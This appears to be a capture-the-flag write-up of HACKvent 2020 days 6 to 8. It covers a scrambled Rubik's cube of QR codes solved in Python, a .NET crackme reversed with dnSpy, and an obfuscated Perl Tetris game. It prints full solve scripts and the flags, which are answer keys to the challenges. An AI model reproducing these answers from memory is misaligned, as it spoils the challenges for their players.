Medium continues with another seven challenges over seven days. There’s a really good crypto challenge involving recovering RSA parameters recovered from a PCAP file and submitted to a Wiener attack, web hacking through an server-side template injection, dotNet reversing, a Rubik’s cube challenge, and what is becoming the annual obfuscated Perl game.

## HV20.06

### Challenge

HV20.06 Twelve steps of christmas
Categories: FUN
Level: medium

On the sixth day of Christmas my true love sent to me…

six valid QRs, five potential scrambles, four orientation bottom and right, and the rest has been said previously.

There’s also two hints:

• selbmarcs
• The black lines are important - do not remove them

### Solution

#### What’s Going On

The first challenge here is to figure out what this challenge is. The image is a 2x2 Rubix cube with QR codes on each side, and it’s currently scrambled. I’ve got five scrambles, which a series of moves written in a custom notation as described here. Then there’s the hint, selbmarcs. That’s just scambles backwards. Typically a scramble is applied to a clean cube to mess it up for someone else to solve. Given that this cube is already scrambed, I’d need to apply the scrambles backwards to solve it and get it back to where I can read the QRCodes.

#### Import Images

If I’m going to recreate these codes in Python, I need to be able to read the images in. Looking at the image in Gimp, each quarter QRCode is 93 pixels square. This function will crop four little squares given the top left coordinate:

def four_squares(letter, x, y):
squares[letter] = main.crop((x, y, x + sq_size, y + sq_size))
squares[chr(ord(letter) + 1)] = main.crop(
(x + sq_size, y, x + 2 * sq_size, y + sq_size)
).rotate(90)
squares[chr(ord(letter) + 2)] = main.crop(
(x, y + sq_size, x + sq_size, y + 2 * sq_size)
).rotate(-90)
squares[chr(ord(letter) + 3)] = main.crop(
(x + sq_size, y + sq_size, x + 2 * sq_size, y + 2 * sq_size)
).rotate(180)


The images are saved indexed by letter in the following pattern:

      ┌──┬──┐
│ a│ b│
├──┼──┤
│ c│ d│
┌──┬──┼──┼──┼──┬──┬──┬──┐
│ q│ r│ i│ j│ e│ f│ u│ v│
├──┼──┼──┼──┼──┼──┼──┼──┤
│ s│ t│ k│ l│ g│ h│ w│ x│
└──┴──┼──┼──┼──┴──┴──┴──┘
│ m│ n│
├──┼──┤
│ o│ p│
└──┴──┘


It also rotates each square so that the marker from the outside corner is at the top left. That way, when I’m reassembling images later, I’ll just have to re-rotate them based on the position they are in, instead of trying to figure out how they are currently and how much rotation is needed.

Calling that function six times will read all 24 small squares into the dict:

squares = {}
sq_size = 93  # pixels

main = Image.open("9a96751d-16db-45db-ae61-ecd83ca67dab.png")
four_squares("a", 250, 44)
four_squares("q", 62, 232)
four_squares("i", 250, 232)
four_squares("e", 438, 232)
four_squares("u", 626, 232)
four_squares("m", 250, 420)


#### Find Correct Scramble

I need a way to try each of the five scrambles and see what each one returns. My thinking (or hope) is that only one will return a valid cube with valid QRCodes on each side, and I’ll start with valid just being that it has three big markers and one small marker, not worrying about orientation. I used py222 to do the moves. In py222, the state of a cube is just a NumPy array. So I created an array that was just 1 if the square contained the big black/white/black box or 0 if not:

sq_type = np.array(
[1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0]
)


The order is the same as the image above with letters:

      ┌──┬──┐
│ 1│ 1│
├──┼──┤
│ 1│ 0│
┌──┬──┼──┼──┼──┬──┬──┬──┐
│ 1│ 0│ 0│ 1│ 1│ 1│ 1│ 1│
├──┼──┼──┼──┼──┼──┼──┼──┤
│ 1│ 0│ 1│ 1│ 1│ 1│ 0│ 0│
└──┴──┼──┼──┼──┴──┴──┴──┘
│ 1│ 1│
├──┼──┤
│ 1│ 1│
└──┴──┘


Code the scrambles:

scrambles = [
"D' R2 F B2 R L2 B2 R2 B' L2",
"U' D' F2 B2 D B' U2 D F R'",
"F2 R2 D' U2 L' B2 R D' F L'",
"B2 L U' B R2 U D' F2 R' B'",
"U F2 U' D' L2 R D' L2 D R",
]


As well as a function that reverses the moves:

def undo(scram):
res = ""
for s in scram.split(" ")[::-1]:
if "'" in s:
res += s[0]
elif "2" in s:
res += s
else:
res += s + "'"
res += " "
return res.strip()


Now in a loop I’ll try each scramble and see if the resulting cube has three 1 and one 0 on each side:

for scram in scrambles:
res = py222.doAlgStr(sq_type, undo(scram))
if all([sum(x) == 3 for x in np.split(res, 6)]):
solution = scram
print(f"[+] Found scramble that results in 6 good QRcodes:")
py222.printCube(res)


Fortunately for me, only one scramble meets that criteria.

Now I can take an initial cube that has letters a-z in the order I showed at the top, and run the reverse of the solution scramble to get the original cube:

print("[*] Solving with lettered blocks")
sqs = np.array(list(string.ascii_lowercase))
print('[*] Starting cube')
py222.printCube(sqs)
final_cube = py222.doAlgStr(sqs, undo(solution))
print("[+] Identified cube with 6 valid QR codes")
py222.printCube(final_cube)


#### Generate Flag

I’ll make another function that takes four letters representing squares that were read in earlier and generates a QR image from them:

def create_qr(sqs):
new_im = Image.new("L", (sq_size * 2, sq_size * 2))
new_im.paste(squares[sqs[0]], (0, 0))
new_im.paste(squares[sqs[1]].rotate(-90), (sq_size, 0))
new_im.paste(squares[sqs[2]].rotate(90), (0, sq_size))
new_im.paste(squares[sqs[3]].rotate(180), (94, 94))
return new_im


Rotations are applied based on where they are in the new image because the orientations were normalized on reading them in.

Now loop through the sides and print the value of the QR:

print("[*] Decoding QR Codes\n[+] Flag:")
for code in sorted(["".join(x) for x in np.split(final_cube, 6)]):
qr_code = create_qr(code)
barcode = decode(qr_code)
print(barcode[0].data.decode().strip())


Each QR puts out 1/6th of the flag. To be overly neat about it, I’ll add a sort order so I can print the full flag (there’s no way I could have known that order before looking at the output):

print("[*] Decoding QR Codes\n[+] Flag:")
sort_order = lambda c: "qelnof".index(c[0])
for code in sorted(["".join(x) for x in np.split(final_cube, 6)], key=sort_order):
qr_code = create_qr(code)
barcode = decode(qr_code)
print(barcode[0].data.decode().strip(), end="")
print()


#### Final Script

All of this together makes:

#!/usr/bin/env python3

import numpy as np
import py222
import string
from PIL import Image
from pyzbar.pyzbar import decode

def undo(scram):
res = ""
for s in scram.split(" ")[::-1]:
if "'" in s:
res += s[0]
elif "2" in s:
res += s
else:
res += s + "'"
res += " "
return res.strip()

def four_squares(letter, x, y):
squares[letter] = main.crop((x, y, x + sq_size, y + sq_size))
squares[chr(ord(letter) + 1)] = main.crop(
(x + sq_size, y, x + 2 * sq_size, y + sq_size)
).rotate(90)
squares[chr(ord(letter) + 2)] = main.crop(
(x, y + sq_size, x + sq_size, y + 2 * sq_size)
).rotate(-90)
squares[chr(ord(letter) + 3)] = main.crop(
(x + sq_size, y + sq_size, x + 2 * sq_size, y + 2 * sq_size)
).rotate(180)

def create_qr(sqs):
new_im = Image.new("L", (sq_size * 2, sq_size * 2))
new_im.paste(squares[sqs[0]], (0, 0))
new_im.paste(squares[sqs[1]].rotate(-90), (sq_size, 0))
new_im.paste(squares[sqs[2]].rotate(90), (0, sq_size))
new_im.paste(squares[sqs[3]].rotate(180), (94, 94))
return new_im

squares = {}
sq_size = 93  # pixels

main = Image.open("9a96751d-16db-45db-ae61-ecd83ca67dab.png")
four_squares("a", 250, 44)
four_squares("q", 62, 232)
four_squares("i", 250, 232)
four_squares("e", 438, 232)
four_squares("u", 626, 232)
four_squares("m", 250, 420)

print(f"[+] Collected {len(squares)} square images")

scrambles = [
"D' R2 F B2 R L2 B2 R2 B' L2",
"U' D' F2 B2 D B' U2 D F R'",
"F2 R2 D' U2 L' B2 R D' F L'",
"B2 L U' B R2 U D' F2 R' B'",
"U F2 U' D' L2 R D' L2 D R",
]

sq_type = np.array(
[1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0]
)

for scram in scrambles:
res = py222.doAlgStr(sq_type, undo(scram))
if all([sum(x) == 3 for x in np.split(res, 6)]):
solution = scram
print(f"[+] Found scramble that results in 6 good QRcodes:")
py222.printCube(res)

print("[*] Solving with lettered blocks")
sqs = np.array(list(string.ascii_lowercase))
print('[*] Starting cube')
py222.printCube(sqs)
final_cube = py222.doAlgStr(sqs, undo(solution))
print("[+] Identified cube with 6 valid QR codes")
py222.printCube(final_cube)

print("[*] Decoding QR Codes\n[+] Flag:")
sort_order = lambda c: "qelnof".index(c[0])
for code in sorted(["".join(x) for x in np.split(final_cube, 6)], key=sort_order):
qr_code = create_qr(code)
barcode = decode(qr_code)
print(barcode[0].data.decode().strip(), end="")
print()


Running it solves the challenge:

$python3 solver.py [+] Collected 24 square images ┌──┬──┐ │ 1│ 1│ ├──┼──┤ │ 1│ 0│ ┌──┬──┼──┼──┼──┬──┬──┬──┐ │ 1│ 0│ 0│ 1│ 1│ 1│ 1│ 1│ ├──┼──┼──┼──┼──┼──┼──┼──┤ │ 1│ 0│ 1│ 1│ 1│ 1│ 0│ 0│ └──┴──┼──┼──┼──┴──┴──┴──┘ │ 1│ 1│ ├──┼──┤ │ 1│ 1│ └──┴──┘ [+] Found scramble that results in 6 good QRcodes: ┌──┬──┐ │ 1│ 1│ ├──┼──┤ │ 1│ 0│ ┌──┬──┼──┼──┼──┬──┬──┬──┐ │ 1│ 1│ 1│ 1│ 1│ 1│ 1│ 1│ ├──┼──┼──┼──┼──┼──┼──┼──┤ │ 1│ 0│ 1│ 0│ 1│ 0│ 1│ 0│ └──┴──┼──┼──┼──┴──┴──┴──┘ │ 1│ 1│ ├──┼──┤ │ 1│ 0│ └──┴──┘ [*] Solving with lettered blocks [*] Starting cube ┌──┬──┐ │ a│ b│ ├──┼──┤ │ c│ d│ ┌──┬──┼──┼──┼──┬──┬──┬──┐ │ q│ r│ i│ j│ e│ f│ u│ v│ ├──┼──┼──┼──┼──┼──┼──┼──┤ │ s│ t│ k│ l│ g│ h│ w│ x│ └──┴──┼──┼──┼──┴──┴──┴──┘ │ m│ n│ ├──┼──┤ │ o│ p│ └──┴──┘ [+] Identified cube with 6 valid QR codes ┌──┬──┐ │ n│ u│ ├──┼──┤ │ a│ d│ ┌──┬──┼──┼──┼──┬──┬──┬──┐ │ l│ v│ q│ j│ e│ b│ f│ g│ ├──┼──┼──┼──┼──┼──┼──┼──┤ │ p│ x│ s│ t│ k│ r│ c│ w│ └──┴──┼──┼──┼──┴──┴──┴──┘ │ o│ m│ ├──┼──┤ │ h│ i│ └──┴──┘ [*] Decoding QR Codes [+] Flag: HV20{Erno_Rubik_would_be_proud.Petrus_is_Valid.#HV20QRubicsChal}  Flag: HV20{Erno_Rubik_would_be_proud.Petrus_is_Valid.#HV20QRubicsChal} #### Brute Force Alternative Before I found py222, I considered another way to solve this challenge just brute forcing all possible combinations of three big squares and one little square. Once I had the script above, it wasn’t too difficult to modify it to try this approach and see it also worked. I’ll modify the four_square function that reads in the squares to also take an indicator as to which kind of square it is, and store the results in two lists instead of one. Then loop over permutations of big squares and permutations of little squares and print anything that produces a valid barcode with valid data: #!/usr/bin/env python3 from itertools import permutations from PIL import Image from pyzbar.pyzbar import decode def four_squares(x, y, big): squares[big[0]].append(main.crop((x, y, x + sq_size, y + sq_size))) squares[big[1]].append(main.crop( (x + sq_size, y, x + 2 * sq_size, y + sq_size) ).rotate(90)) squares[big[2]].append(main.crop( (x, y + sq_size, x + sq_size, y + 2 * sq_size) ).rotate(-90)) squares[big[3]].append(main.crop( (x + sq_size, y + sq_size, x + 2 * sq_size, y + 2 * sq_size) ).rotate(180)) def create_qr(im1, im2, im3, im4): new_im = Image.new("L", (sq_size * 2, sq_size * 2)) new_im.paste(im1, (0, 0)) new_im.paste(im2.rotate(-90), (sq_size, 0)) new_im.paste(im3.rotate(90), (0, sq_size)) new_im.paste(im4.rotate(180), (94, 94)) return new_im squares = [[], []] little_marker_sqs = {} sq_size = 93 # pixels main = Image.open("9a96751d-16db-45db-ae61-ecd83ca67dab.png") four_squares(250, 44, [1,1,1,0]) four_squares(62, 232, [1,0,1,0]) four_squares(250, 232, [0,1,1,1]) four_squares(438, 232, [1,1,1,1]) four_squares(626, 232, [1,1,0,0]) four_squares(250, 420, [1,1,1,1]) print(f"[+] Collected square images") for perm in permutations(squares[1], 3): for little in squares[0]: qr_code = create_qr(perm[0], perm[1], perm[2], little) barcode = decode(qr_code) if barcode: print(barcode[0].data.decode().strip())  Running this returns the flag pieces and nothing else in about three minutes: $ time python3 solver-brute.py
[+] Collected square images
HV20{Erno_
_be_proud.
Rubik_would
#HV20QRubicsChal}
Petrus_is
_Valid.

real    3m10.619s
user    3m10.138s
sys     0m0.104s


## HV20.07

### Challenge

Categories: PROGRAMMING
REVERSE ENGINEERING
Level: medium
Author: kuyaya

One of the elves recently took a programming 101 course. Trying to be helpful, he implemented a program for Santa to generate all the flags for him for this year’s HACKvent 2020. The problem is, he can’t remember how to use the program any more and the link to the documentation just says 404 Not found. I bet he learned that in the Programming 101 class as well.

Can you help him get the flag back?

The file is a 32-bit .NET executable:

$file cc1b4db7-d5b6-48b8-bee5-8dcba508bf81.exe cc1b4db7-d5b6-48b8-bee5-8dcba508bf81.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows  ### Solution #### Run It Running the executable offers three prompts, and then it reports that it failed: PS > .\cc1b4db7-d5b6-48b8-bee5-8dcba508bf81.exe Your first input: test Your second input: test Your third input: test Please try again. Press enter to exit.  #### Reversing Given it’s a .NET executable, I’ll open it in DNSpy. There’s a single main function that performs a series of checks. The first check is based on the first input: public static void Main(string[] args) { try { Console.Write("Your first input: "); char[] array = Console.ReadLine().ToCharArray(); string text = ""; for (int i = 0; i < array.Length; i++) { if (i % 2 == 0 && i + 2 <= array.Length) { text += array[i + 1].ToString(); } } string str; if (text == "BumBumWithTheTumTum") { str = string.Concat(new object[] { "SFYyMH", array[17].ToString(), "yMz", array[8].GetHashCode() % 10, "zcnMzXzN", array[3].ToString(), "ZzF", array[9].ToString(), "MzNyM", array[13].ToString(), "5n", array[14].ToString(), "2" }); } else { if (text == "") { Console.WriteLine("Your input is not allowed to result in an empty string"); return; } str = text; }  First, it takes input and copies every odd character into a string, and compares that to “BumBumWithTheTumTum”. It will accept any any characters in the even indexes. If succeeds, it’ll build a string in str based on some static strings and that input. I’ll come back to this later. The next check is based on the second input:  Console.Write("Your second input: "); char[] array2 = Console.ReadLine().ToCharArray(); text = ""; Array.Reverse(array2); for (int j = 0; j < array2.Length; j++) { text += array2[j].ToString(); } string s; if (text == "BackAndForth") { s = string.Concat(new string[] { "Q1RGX3", array2[11].ToString(), "sNH", array2[8].ToString(), "xbm", array2[5].ToString(), "f" }); } else { if (text == "") { Console.WriteLine("Your input is not allowed to result in an empty string"); return; } s = text; }  This time the entire input is reversed, and the compared to “BackAndForth”. Similar to the last check, this time it builds another string, s. The necessary input is “htroFdnAkcaB”. The third check is based on the third input:  Console.Write("Your third input: "); char[] array3 = Console.ReadLine().ToCharArray(); text = ""; byte b = 42; for (int k = 0; k < array3.Length; k++) { char c = array3[k] ^ (char)b; b = (byte)((int)b + k - 4); text += c.ToString(); } string str2; if (text == "DinosAreLit") { str2 = string.Concat(new string[] { "00ZD", array3[3].ToString(), "f", array3[2].ToString(), "zRzeX0=" }); } else { if (text == "") { Console.WriteLine("Your input is not allowed to result in an empty string"); return; } str2 = text; }  This time there is an xor against the input byte by byte, and the result should be “DinosAreLit”. The first byte is xored by 42, and then that value is decremented by four and increased by the current index. Following that pattern, the xor keys will be [42, 38, 35, 33, 32, 32, 33, 35, 38, 42, 47]. I can use this in a Python terminal to get the needed input: >>> x = [42, 38, 35, 33, 32, 32, 33, 35, 38, 42, 47] >>> res = "DinosAreLit" >>> ''.join([chr(ord(c)^b) for c,b in zip(res, x)]) 'nOMNSaSFjC['  Based on the results matching, str2 is built. At this point it gets a bit less straight forward. str and str2, built on successes in the first three gates, are concatenated and then base64-decoded. s is also base64-decoded. The results are xored together, and then that value is SHA1 hashed and compared against a static value. If it matches, the flag is printed:  byte[] array4 = Convert.FromBase64String(str + str2); byte[] array5 = Convert.FromBase64String(s); byte[] array6 = new byte[array4.Length]; for (int l = 0; l < array4.Length; l++) { array6[l] = (array4[l] ^ array5[l % array5.Length]); } byte[] array7 = SHA1.Create().ComputeHash(array6); byte[] array8 = new byte[] { 107, ...[snip]... 10 }; for (int m = 0; m < array7.Length; m++) { if (array7[m] != array8[m]) { Console.WriteLine("Your inputs do not result in the flag."); return; } } string @string = Encoding.ASCII.GetString(array4); if (@string.StartsWith("HV20{")) { Console.WriteLine("Congratulations! You're now worthy to claim your flag: {0}", @string); } } catch { Console.WriteLine("Please try again."); } finally { Console.WriteLine("Press enter to exit."); Console.ReadLine(); } }  At this point, str2 and s are fixed. All of str is as well, except for two bytes which come from even indexed characters in the first input which were not checked - 8 and 14. So str will be, with the two chars that are undefined marked in []: SFYyMHtyMz[8]zcnMzXzNuZzFuMzNyMW5n[14]200ZDNfMzRzeX0=  The character at 14 is just the index 14 character from the string entered in the first prompt, whereas the one at 8 is actually array[8].GetHashCode() % 10. Double clicking the GetHashCode function in DNSpy displays the definition: public override int GetHashCode() { return (int)(this | (int)this << 16); }  That’s simple enough. All the characters need to be in the base64 alphabet, so the following script will find the valid inputs: #!/usr/bin/env python3 import hashlib import string from base64 import b64decode from itertools import cycle base64_alpha = string.ascii_letters + string.digits + "+//" s = "Q1RGX3hsNHoxbmnf" s2 = b64decode(s) strs = "SFYyMHtyMz[8]zcnMzXzNuZzFuMzNyMW5n[14]200ZDNfMzRzeX0=" for c1 in base64_alpha: for c2 in base64_alpha: c1_hashcode = f"{((ord(c1) << 16) | ord(c1)) % 10}" s1 = b64decode(strs.replace("[8]", c1_hashcode).replace("[14]", c2)) array6 = b"".join([bytes([x1 ^ x2]) for x1, x2 in zip(s1, cycle(s2))]) if (hashlib.sha1(array6).hexdigest() == "6b4077ca9adac8713f014294cf17fec6c54f150a"): print(f"c1: {c1} c2: {c2} flag: {s1.decode()}")  It loops over each combination of characters substituting them into the base64 string that’s built, and then taking the SHA1 hash and comparing it to the one from the binary. When they match, it prints the characters input as well as the value of s1, which happens to be the flag. To get that SHA1 hash as a string, I copied the integer array out of DNSpy, converting it to hex in Python: >>> x = [107, 64, 119, 202, 154, 218, 200, 113, 63, 1, 66, 148, 207, 23, 254, 198, 197, 79, 21, 10] >>> ''.join([f'{y:02x}' for y in x]) '6b4077ca9adac8713f014294cf17fec6c54f150a'  The script works, and it turns out there are several options that make the same flag: $ python3 decode.py
c1: h c2: X flag: HV20{r3?3rs3_3ng1n33r1ng_m4d3_34sy}
c1: r c2: X flag: HV20{r3?3rs3_3ng1n33r1ng_m4d3_34sy}
c1: J c2: X flag: HV20{r3?3rs3_3ng1n33r1ng_m4d3_34sy}
c1: T c2: X flag: HV20{r3?3rs3_3ng1n33r1ng_m4d3_34sy}
c1: 6 c2: X flag: HV20{r3?3rs3_3ng1n33r1ng_m4d3_34sy}


Flag: HV20{r3?3rs3_3ng1n33r1ng_m4d3_34sy}

How can different characters input make the same base64 decoded output. It’s the GetHashCode() call:

>>> for x in 'hrJT6':
...     f"{((ord(x) << 16) | ord(x)) % 10}"
...
'8'
'8'
'8'
'8'
'8'


## HV20.08

### Challenge

HV20.08 The game
Categories: FUN
REVERSE ENGINEERING
Level: medium
Author: M.

Let’s play another little game this year. Once again, as every year, I promise it is hardly obfuscated.

There is also this perl script.

### Solution

#### The Game

I’ll run the game with perl 1456c098-0318-4370-ae1f-c4f6e51e2d50.txt, and it creates a version of Tetris in the terminal:

The blocks have characters in them, and at first they are all #, but then other characters start to show, H, and later V, and then {, so it seems like the flag comes in the blocks. I can play, but it’s hard because the controls aren’t super responsive.

#### Deobfuscate

Every year there seems to be an obfuscated Perl game from M. (2018, 2019). The first step is to deobfuscate it. It starts with two eval statements:

eval eval '"'.
('['^'.').('['^'(').(''|'%').('{'^'[').('{'^'/').(''|'%').('['^')').(''|'-').':'.':'.('{'^')').(''|'%').(''|'!').(''|'$').(''^'+').(''|'%').('['^'"').';'.('{'^')').(''|'%').(''|'!').(''|'$').(''^'-').(''|'/').(''|'$').(''|'%').('{'^"\[").( '^'^(''|'+')).';'.'\\'.'$'.'|'.'='.('^'^(''|'/')).';'.('['^'+').('['^')').(''|')').(''|'.').('['^'/').'\\'.'"'.'\\'.'\\'.(''|'%').(''|'#').'\\'.'\\'.(''|'%').'['.('^'^(''|',')).(''^'*').'\\'.'\\'.(''|'%').'['.'?'.('^'^(''|',')).('^'^(''|'+'))
.(''|',').'\\'.'\\'.(''|'%').'['.'?'.('^'^(''|')')).(''|',').'\\'.'\\'.(''|'%').'['.('^'^(''|'/')).';'.('^'^(''|'/')).(''^'(').'\\'.'\\'.(''|'%').'['.('^'^(''|'.')).';'.('^'^(''|'.')).('['^')').'\\'.'"'.';'.'\\'.'@'.(''^'&').(''^'&').('=').(
'['^'(').('['^'+').(''|',').(''|')').('['^'/').'/'.'/'.','."'".'#'.'#'.'#'.'#'.(''^'(').'#'.('{'^'-').'#'.('^'^(''|',')).'#'.('^'^(''|'.')).'#'.'\\'.'{'.'#'.(''|'(').'#'.('['^'/').'#'.('['^'/').'#'.('['^'+').'#'.('['^'(').'#'.':'.'#'.'/'.'#'.('/').
'#'.('['^',').'#'.('['^',').'#'.('['^',').'#'.'.'.'#'.('['^'"').'#'.(''|'/').'#'.('['^'.').'#'.('['^'/').'#'.('['^'.').'#'.(''|'"').'#'.(''|'%').'#'.'.'.'#'.(''|'#').'#'.(''|'/').'#'.(''|'-').'#'.'/'.'#'.('['^',').'#'.(''|'!').'#'.('['^'/')."\#".(
''|"\#").


As eval takes a string and runs it as code, replacing the outside one with print will print the code that would have been run by eval:

use Term::ReadKey;ReadMode 5;$|=1;print"\ec\e[2J\e[?25l\e[?7l\e[1;1H\e[0;0r";@FF=split//,'####H#V#2#0#{#h#t#t#p#s#:#/#/#w#w#w#.#y#o#u#t#u#b#e#.#c#o#m#/#w#a#t#c#h#?#v#=#d#Q#w#4#w#9#W#g#X#c#Q#}####';@BB=(89,51,30,27,75,294);$w=11;$h=23;print("\e[1;1H\e[103m".(' 'x(2*$w+2))."\e[0m\r\n".(("\e[103m \e[0m".(' 'x(2*$w))."\e[103m \e[0m\r\n")x$h)."\e[103m".(' 'x(2*$w+2))."\e[2;1H\e[0m");sub bl{($b,$bc,$bcc,$x,$y)=@_;for$yy(0..2){for$xx(0..5){print("\e[${bcc}m\e[".($yy+$y+2).";".($xx+$x*2+2)."H${bc}")if((($b&(0b111<<($yy*3)))>>($yy*3))&(4>>($xx>>1)));}}}sub r{$_=shift;($_&4)<<6|($_&32)<<2|($_&256)>>2|($_&2)<<4|($_&16)|($_&128)>>4|($_&1)<<2|($_&8)>>2|($_&64)>>6;}sub _s{($b,$bc,$x,$y)=@_;for$yy(0..2){for$xx(0..5){substr($f[$yy+$y],($xx+$x),1)=$bc if(((($b & (0b111<<($yy*3)))>>($yy*3))&(4>>$xx)));}}$Q='QcXgWw9d4';@f=grep{/ /}@f;unshift @f,(" "x$w)while(@f<$h);p();}sub cb{$_Q='ljhc0hsA5';($b,$x,$y)=@_;for$yy(0..2){for$xx(0..2){return 1 if(((($b&(0b111<<($yy*3)))>>($yy*3))&(4>>$xx))&&(($yy+$y>=$h)||($xx+$x<0)||($xx+$x>=$w)||(substr($f[$yy+$y],($xx+$x),1) ne ' ')));}}}sub p{for$yy(0..$#f){print("\e[".($yy+2).";2H\e[0m");$_=$f[$yy];s/./$&$&/gg;print;}};sub k{$k='';$k.=$c while($c=ReadKey(-1));$k;};sub n{$bx=5;$by=0;$bi=int(rand(scalar @BB));$__=$BB[$bi];$_b=$FF[$sc];$sc>77&&$sc<98&&$sc!=82&&eval('$_b'."=~y#$Q#$_Q#")||$sc==98&&$_b=~s/./0/;$sc++;}@f=(" "x$w)x$h;p();n();while(1){$k=k();last if($k=~/q/);$k=substr($k,2,1);$dx=($k eq 'C')-($k eq 'D');$bx+=$dx unless(cb($__,$bx+$dx,$by));if($k eq 'A'){unless(cb(r($__),$bx,$by)){$__=r($__)}elsif(!cb(r($__),$bx+1,$by)){$__=r($__);$bx++}elsif(!cb(r($__),$bx-1,$by)){$__=r($__);$bx--};}bl($__,$_b,101+$bi,$bx,$by);select(undef,undef,undef,0.1);if(cb($__,$bx,++$by)){last if($by<2);_s($__,$_b,$bx,$by-1);n();}else{bl($__," ",0,$bx,$by-1);}}sleep(1);ReadMode 0;print"\ec";


-MO=Deparse will get a cleaned up version of the code:

$perl mod.pl > deobf.pl$ perl -MO=Deparse deobf.pl > deparse.pl
deobf.pl syntax OK


Now it’s much cleaner:

use Term::ReadKey;
$| = 1; print "\ec\e[2J\e[?25l\e[?7l\e[1;1H\e[0;0r"; @FF = split(//, '####H#V#2#0#{#h#t#t#p#s#:#/#/#w#w#w#.#y#o#u#t#u#b#e#.#c#o#m#/#w#a#t#c#h#?#v#=#d#Q#w#4#w#9#W#g#X#c#Q#}####', 0); @BB = (89, 51, 30, 27, 75, 294);$w = 11;
$h = 23; print "\e[1;1H\e[103m" . ' ' x (2 *$w + 2) . "\e[0m\r\n" . ("\e[103m \e[0m" . ' ' x (2 * $w) . "\e[103m \e[0m\r\n") x$h . "\e[103m" . ' ' x (2 * $w + 2) . "\e[2;1H\e[0m"; sub bl { ($b, $bc,$bcc, $x,$y) = @_;
foreach $yy (0 .. 2) { foreach$xx (0 .. 5) {
print "\e[${bcc}m\e[" . ($yy + $y + 2) . ';' . ($xx + $x * 2 + 2) . "H$bc" if ($b & 7 <<$yy * 3) >> $yy * 3 & 4 >> ($xx >> 1);
}
}
}
sub r {
$_ = shift(); ($_ & 4) << 6 | ($_ & 32) << 2 | ($_ & 256) >> 2 | ($_ & 2) << 4 |$_ & 16 | ($_ & 128) >> 4 | ($_ & 1) << 2 | ($_ & 8) >> 2 | ($_ & 64) >> 6;
}
sub _s {
($b,$bc, $x,$y) = @_;
foreach $yy (0 .. 2) { foreach$xx (0 .. 5) {
substr($f[$yy + $y],$xx + $x, 1) =$bc if ($b & 7 <<$yy * 3) >> $yy * 3 & 4 >>$xx;
}
}
$Q = 'QcXgWw9d4'; @f = grep({/ /;} @f); unshift @f, ' ' x$w while @f < $h; p(); } sub cb {$_Q = 'ljhc0hsA5';
($b,$x, $y) = @_; foreach$yy (0 .. 2) {
foreach $xx (0 .. 2) { return 1 if ($b & 7 << $yy * 3) >>$yy * 3 & 4 >> $xx and$yy + $y >=$h || $xx +$x < 0 || $xx +$x >= $w || substr($f[$yy +$y], $xx +$x, 1) ne ' ';
}
}
}
sub p {
foreach $yy (0 ..$#f) {
print "\e[" . ($yy + 2) . ";2H\e[0m";$_ = $f[$yy];
s/./$&$&/g;
print $_; } } sub k {$k = '';
$k .=$c while $c = ReadKey(-1);$k;
}
sub n {
$bx = 5;$by = 0;
$bi = int rand scalar @BB;$__ = $BB[$bi];
$_b =$FF[$sc];$sc == 98 and $_b =~ s/./0/ unless$sc > 77 and $sc < 98 and$sc != 82 and eval '$_b' . "=~y#$Q#$_Q#";$sc++;
}
@f = (' ' x $w) x$h;
p ;
n ;
while (1) {
$k = k(); last if$k =~ /q/;
$k = substr($k, 2, 1);
$dx = ($k eq 'C') - ($k eq 'D');$bx += $dx unless cb$__, $bx +$dx, $by; if ($k eq 'A') {
cb(r($__),$bx, $by) ? do { not cb(r($__), $bx + 1,$by)
} ? do {
$__ = r($__);
++$bx } : do { not cb(r($__), $bx - 1,$by)
} && do {
$__ = r($__);
--$bx } : do {$__ = r($__) }; } bl$__, $_b, 101 +$bi, $bx,$by;
select undef, undef, undef, 0.1;
if (cb $__,$bx, ++$by) { last if$by < 2;
_s $__,$_b, $bx,$by - 1;
n ;
}
else {
bl $__, ' ', 0,$bx, $by - 1; } } sleep 1; ReadMode(0); print "\ec";  #### Analysis There’s a flag right at the top of the clean code: @FF = split(//, '####H#V#2#0#{#h#t#t#p#s#:#/#/#w#w#w#.#y#o#u#t#u#b#e#.#c#o#m#/#w#a#t#c#h#?#v#=#d#Q#w#4#w#9#W#g#X#c#Q#}####', 0);  Python can remove the #s: >>> ff = '####H#V#2#0#{#h#t#t#p#s#:#/#/#w#w#w#.#y#o#u#t#u#b#e#.#c#o#m#/#w#a#t#c#h#?#v#=#d#Q#w#4#w#9#W#g#X#c#Q#}####' >>> ff.replace('#', '') 'HV20{https://www.youtube.com/watch?v=dQw4w9WgXcQ}'  This is just a troll. The link is to a RickRoll. The code has three parts: 1. Initialization stuff 2. Define functions 3. Loop Looking at the loop first, it: • checks for user input • processes that to do rotations or move left or right • sleeps for 0.1 second • if the block is touching something else: • if it’s touching something else and at the top, exit • else start a new block • else move the block down one and loop I’ve added some comments in here: n ; while (1) {$k = k();                    # check for user input
last if $k =~ /q/; # if user inputs a 'q', quit$k = substr($k, 2, 1); ...[snip]... # move the block based on input select undef, undef, undef, 0.1; # sleep 0.1 https://stackoverflow.com/questions/24747561/select-undef-undef-undef-xx if (cb$__, $bx, ++$by) {          # check if block is touching something
last if $by < 2; # if it's in the top 2, exit _s$__, $_b,$bx, $by - 1; n ; # generate next block } else { bl$__, ' ', 0, $bx,$by - 1;
}
}


The k function is just reading user input and storing it in $k: # read user keys sub k {$k = '';
$k .=$c while $c = ReadKey(-1);$k;
}


The more interesting function is n:

# generate block
sub n {
$bx = 5; # initialize starting position$by = 0;
$bi = int rand scalar @BB; # get random shape from list$__ = $BB[$bi];
$_b =$FF[$sc]; # get next character from list # modify characters$sc == 98 and $_b =~ s/./0/ unless$sc > 77 and $sc < 98 and$sc != 82 and eval '$_b' . "=~y#$Q#$_Q#";$sc++;     # pointer to next character
}


This function generates pieces at the top of the game by picking a random int from $BB (the block options), and then getting the next character using a counter $sc and the $FF string which had the troll flag. The interesting line is the one I commented as “modify characters”. There’s a bunch of logic in there, but it breaks down to: • if $sc == 98, replace . with null
• if 77 < $sc < 98 and$sc != 82 –> eval '$_b' . "=~y#$Q#$_Q#" The eval statement simplifies to $_b =~ y#$Q#$_Q#.

